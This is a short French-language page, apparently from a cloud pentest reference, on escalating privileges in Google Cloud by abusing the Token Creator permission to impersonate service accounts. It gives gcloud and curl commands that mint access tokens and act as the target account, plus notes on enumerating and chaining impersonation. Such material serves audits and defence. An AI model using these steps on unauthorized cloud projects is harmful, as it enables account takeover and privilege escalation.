iam.serviceAccounts.getAccessToken (l'API generateAccessToken, détenue par roles/iam.serviceAccountTokenCreator) génère un jeton d'accès OAuth à courte durée de vie pour un compte de service cible. C'est l'usurpation d'identité la plus directe : pas de clé, pas de déploiement, il suffit de demander à IAM Credentials le jeton de la cible et d'agir aussitôt en tant que celle-ci.
Générer et utiliser le jeton#
# built into gcloud: run any command as the target SA
gcloud compute instances list --impersonate-service-account <target>@<proj>.iam.gserviceaccount.com
# or mint the raw token
gcloud auth print-access-token --impersonate-service-account <target>@<proj>.iam.gserviceaccount.com
# REST
curl -s -X POST -H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<target>@<proj>.iam.gserviceaccount.com:generateAccessToken" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}'
Notes d'exploitation#
- Token Creator sur un compte de service plus privilégié est une escalade complète ; énumérez qui vous pouvez usurper à partir de la politique IAM.
- Le jeton est à courte durée de vie (une heure par défaut) mais régénérable tant que vous détenez la permission.
- Enchaînez-le : usurpez SA-A, puis utilisez le Token Creator de A sur SA-B pour atteindre B (délégation implicite).
Outils#
- gcloud (
--impersonate-service-account,auth print-access-token).